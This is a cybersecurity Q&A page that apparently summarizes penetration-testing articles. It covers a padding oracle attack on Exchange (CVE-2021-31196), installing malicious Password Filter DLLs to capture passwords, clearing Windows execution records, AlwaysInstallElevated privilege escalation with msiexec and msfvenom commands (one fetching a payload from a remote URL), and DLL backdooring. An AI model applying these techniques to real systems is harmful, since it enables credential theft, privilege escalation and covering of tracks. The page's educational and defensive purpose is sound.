Cybersecurity Q&A
Browse concise answers derived from our published, source-linked cybersecurity coverage.
What is a MachineAccount and where is its password stored?
A MachineAccount is the default computer account created when a Windows system is installed. Its password hash is locally stored in the registry at `HKLM\SECURITY\Policy\Secrets\$machine.ACC`. If the computer joins a domain, the hash is also synchronized to the domain controller and saved in the NTDS.dit file. By default, the password is automatically changed every 30 days, making plaintext recovery difficult. For more on extracting hashes from the registry, see [Penetration Basics - Brute-Forcing Domain User Passwords via LDAP Protocol](/news/penetration-basics-brute-forcing-domain-user-passwords-via-ldap-protocol) (though that article focuses on LDAP, similar registry extraction methods apply).
How can an attacker determine whether the decryption of a modified ciphertext succeeded when exploiting CVE-2021-31196?
After sending a GET request to `/owa/` with the crafted cookie, the server returns a 302 redirect. The response body contains a `reason` parameter in the redirect URL. If `reason=2`, it means `InvalidCredentials` (the decryption succeeded but the credentials were invalid), confirming that the padding oracle returned a valid decryption. If `reason=3` (Timeout), the cookie has expired and the attack cannot proceed. This feedback mechanism is the core of the Padding Oracle Attack, as detailed in the open-source code example.
After completing the Padding Oracle Attack, how is the padded plaintext converted to the actual username and password?
The obtained padded plaintext is first unpadded using PKCS7 (the `unpad` function checks that the last byte value matches the number of padding bytes). Then the string is decoded as UTF-16LE (since Exchange uses Unicode), and the first two bytes are discarded (because they cannot be reliably decrypted). The remaining Base64-encoded string is decoded to reveal the actual plaintext in `username:password` format. The full username is already known from the `lgn` field in the cookie, so losing the first two characters of the username is not a problem. For more details on obtaining the cookie, refer to the companion [Pwn2Own 2021 Microsoft Exchange Server Vulnerability (CVE-2021-31196) Exploitation Analysis](/news/pwn2own-2021-microsoft-exchange-server-vulnerability-cve-2021-31196-exploitation-analysis).
How does the open-source Python code in the article crack the 8th byte of the first ciphertext block?
The code iterates through all possible byte values (0x00 to 0xFF) for the last byte of the crafted intermediate block. It constructs a modified ciphertext by prepending 15 zero bytes plus the trial byte to the second ciphertext block, then sends a GET request with this malformed `cadata` cookie. If the server responds with `reason=2`, the decryption succeeded and the correct padding byte was guessed. The script prints the successful byte value and exits. This is the first step of the full Padding Oracle Attack, which decrypts each byte sequentially as described in the [ProxyOracle Exploitation Analysis 2—CVE-2021-31196](/news/proxyoracle-exploitation-analysis-2-cve-2021-31196) article.
What prerequisites are needed to perform a Padding Oracle Attack on Microsoft Exchange using CVE-2021-31196?
To perform the attack, you need two things: First, obtain the ciphertext and its corresponding IV (Initialization Vector). In Exchange cookies, the `cadata` value is the ciphertext and `cadataIV` is the IV. Second, you must be able to trigger the decryption process and interpret the result. This is done by sending a GET request to `/owa/` with the cookie set, and checking the `reason` parameter in the 302 redirect response—`reason=2` indicates successful decryption. For more background, see the initial [ProxyOracle Exploitation Analysis 1—CVE-2021-31195](/news/proxyoracle-exploitation-analysis-1-cve-2021-31195) article.
How can defenders detect and prevent the misuse of Password Filter DLLs?
Defenders should monitor `%windir%\system32\` for suspicious DLLs (especially recently added ones), check the `Notification Packages` registry key for unknown entries, and enable [Additional LSA Protection](/news/configure-additional-lsa-protection-to-monitor-password-filter-dll) to prevent unauthorized LSA plug-ins. Regularly auditing password change events and using file integrity monitoring can also help. Attackers must already have admin privileges, so enforcing least privilege is critical.
How can a Password Filter DLL be applied on non-Windows Server systems that have password complexity disabled?
On non-server systems, password complexity is disabled by default. To use a Password Filter DLL, an attacker must first enable the policy by exporting the current security database with `secedit /export /cfg gp.inf`, set `PasswordComplexity=1`, then import it with `secedit /configure` and refresh Group Policy with `gpupdate /force`. After that, the standard installation steps (registry, DLL placement, reboot) apply, allowing password capture on workstations.
How can a Password Filter DLL be used in a domain environment for backdoor or credential theft?
On a domain controller, an attacker with administrative privileges can deploy a malicious Password Filter DLL to capture plaintext passwords from all domain users when they change passwords, or use it as a backdoor to return a reverse shell (e.g., Meterpreter). Since domain controllers have the password complexity policy enabled by default, only reboot is needed for activation. This technique complements other credential theft methods like [retrieving passwords from Windows Credential Manager](/news/penetration-techniques-information-retrieval-from-windows-credential-manager).
What are the steps to install a malicious Password Filter DLL on a Windows system?
First, compile the malicious DLL for the target platform and copy it to `%windir%\system32\`. Then, add the DLL name (without extension) to the registry key `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages`. Ensure the group policy 'Password must meet complexity requirements' is enabled, and then restart the system for the DLL to load. After reboot, any user password change triggers the DLL, allowing password capture.
What is a Password Filter DLL and how can an attacker exploit it in penetration testing?
A Password Filter DLL is a Windows component that enforces custom password complexity policies by processing plaintext passwords during password changes. Attackers can exploit it by developing a malicious DLL that implements the `PasswordChangeNotify` function to record plaintext passwords or even drop a backdoor, as described in [Application of Password Filter DLL in Penetration Testing](/news/application-of-password-filter-dll-in-penetration-testing). This technique is similar to hooking `PasswordChangeNotify` but leverages the native DLL interface.
What is the Prefetch file and how does it record program execution on Windows?
Prefetch files are stored in `%SystemRoot%\Prefetch` and are used by Windows to speed up application startup. They record the first few seconds of execution, including file paths, run count, and last run time. Forensic tools like WinPrefetchView can parse these files. Attackers often clear Prefetch files to hide their tools, but doing so may leave gaps in the timeline. For a complete approach to covering traces, see the article [Penetration Techniques - Acquisition and Clearing of Windows System File Execution Records](/news/penetration-techniques-acquisition-and-clearing-of-windows-system-file-execution-records).
How can attackers clear file execution records from the Windows registry without leaving traces?
To clear ShimCache records, an attacker can export the registry key before a system reboot and reimport it afterward, as ShimCache only updates on reboot. Alternatively, an abnormal shutdown can skip the registry write operation. For UserAssist, MUICache, RunMRU, and AppCompatFlags, attackers can simply delete the corresponding registry key values. However, these operations may themselves be logged. For stealthier approaches, consider techniques described in [Penetration Techniques - Stealth Execution of Windows Remote Assistance](/news/penetration-techniques-stealth-execution-of-windows-remote-assistance) or [Penetration Techniques - Deletion and Bypass of Windows Logs](/news/penetration-techniques-deletion-and-bypass-of-windows-logs).
Where are registry-based file execution records like ShimCache and UserAssist stored, and how can I parse them?
ShimCache is stored in `HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache` and records up to 1024 entries on Windows 7+. It can be parsed using tools like AppCompatCacheParser.exe or the Python ShimCacheParser. UserAssist is located in `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist` and records execution counts and timestamps (ROT-13 encrypted). Use tools like UserAssistView.exe or Didier Stevens' C# parser. MUICache and RunMRU are other registry locations that store recent execution data. For clearing individual records, see [Penetration Techniques - Clearing Single Records in RecentFileCache.bcf and Amcache.hve](/news/penetration-techniques-clearing-single-records-in-recentfilecache-bcf-and-amcache-hve).
How can I obtain file execution records from Windows logs using the command line?
You can retrieve process creation events (Event ID 4688) by running `wevtutil qe security /rd:true /f:text /q:"Event[System[(EventID=4688)]]"`. For program inventory logs, use `wevtutil qe Microsoft-Windows-Application-Experience/Program-Inventory` and for telemetry logs, `wevtutil qe Microsoft-Windows-Application-Experience/Program-Telemetry`. Note that Event ID 4688 auditing is disabled by default and must be enabled via Group Policy under Advanced Audit Configuration. For clearing individual log entries, refer to the article [Penetration Techniques - Deletion and Bypass of Windows Logs](/news/penetration-techniques-deletion-and-bypass-of-windows-logs).
What are Windows file execution records and why are they important for penetration testing and defensive operations?
Windows file execution records are system artifacts that track when and how programs are run. They are crucial for penetration testers to understand host activity and for defenders to detect malicious execution. Common locations include logs like [Event ID 4688 for process creation](/news/penetration-techniques-acquisition-and-clearing-of-windows-system-file-execution-records), registry entries such as ShimCache and UserAssist, and files like Prefetch. Clearing these records is essential for attackers to cover their tracks, while defenders must protect them from tampering.
Can AlwaysInstallElevated be exploited remotely via msiexec, and what are the limitations?
Msiexec supports remote download and execution using a URL (e.g., `msiexec /q /i https://example.com/payload.msi`), but attempting this with an untrusted MSI file will fail because the installer treats the source as untrusted. The file must be signed with a trusted certificate to perform a remote exploitation using AlwaysInstallElevated. This limitation is discussed in the extended approaches section of [Test Analysis of Privilege Escalation Using AlwaysInstallElevated](/news/test-analysis-of-privilege-escalation-using-alwaysinstallelevated).
How can an attacker leverage AlwaysInstallElevated for privilege escalation without existing registry entries, and how can backdoors be created?
If an attacker holds privileges like `SeRestorePrivilege` or `SeTakeOwnershipPrivilege`, they can write to the registry to create the required `AlwaysInstallElevated` keys under `HKLM` and `HKCU`, then use the technique to escalate to SYSTEM. Additionally, if SYSTEM access is already obtained, a backdoor can be created by modifying the ACL on those registry keys to allow `Everyone` write access, enabling any standard user to toggle the setting. For details on modifying registry ACLs, refer to the article [Penetration Techniques - Access Control List in Windows](/news/penetration-techniques-access-control-list-in-windows).
Why do MSI files generated by Metasploit fail to exploit AlwaysInstallElevated, and how can this be fixed?
Metasploit-generated MSI files (e.g., `msfvenom -p windows/exec CMD=calc.exe -f msi`) do not request elevated privileges during installation, so they run with the current user's Medium integrity level instead of SYSTEM. The solution is to use a tool like **MSI Wrapper** that explicitly sets the installation to require elevated privileges. For example, by configuring the MSI Wrapper to run the payload with "elevated privileges" and selecting a Per User or Per Machine context, the resulting MSI file will execute with SYSTEM rights, as demonstrated in the article [Test Analysis of Privilege Escalation Using AlwaysInstallElevated](/news/test-analysis-of-privilege-escalation-using-alwaysinstallelevated).
What is AlwaysInstallElevated and how does it enable privilege escalation?
AlwaysInstallElevated is a Group Policy configuration that, when enabled, allows standard users to execute MSI installation files with SYSTEM privileges. To enable it, you must set both `Computer Configuration\Administrative Templates\Windows Components\Windows Installer` and `User Configuration\Administrative Templates\Windows Components\Windows Installer` to "Enabled", or create corresponding registry keys under `HKLM` and `HKCU`. Once enabled, a standard user can run `msiexec /q /i malicious.msi` to execute arbitrary code as SYSTEM, as detailed in the article [Test Analysis of Privilege Escalation Using AlwaysInstallElevated](/news/test-analysis-of-privilege-escalation-using-alwaysinstallelevated).
Can The Backdoor Factory be used to hijack DLL export functions specifically?
Yes. By default, the tool hijacks the DLL's initialization code (e.g., DllMain), so the payload runs when LoadLibrary is called. To trigger the payload only when an exported function is invoked, you can modify the jump code to point to the desired export function. The article notes this flexibility for scenarios like [COM Object hijacking](/news/use-com-object-hijacking-to-maintain-persistence-hijack-explorer-exe) or virtual file techniques ([Hiding ASP.NET Webshells](/news/penetration-techniques-hiding-asp-net-webshells-using-virtual-files)).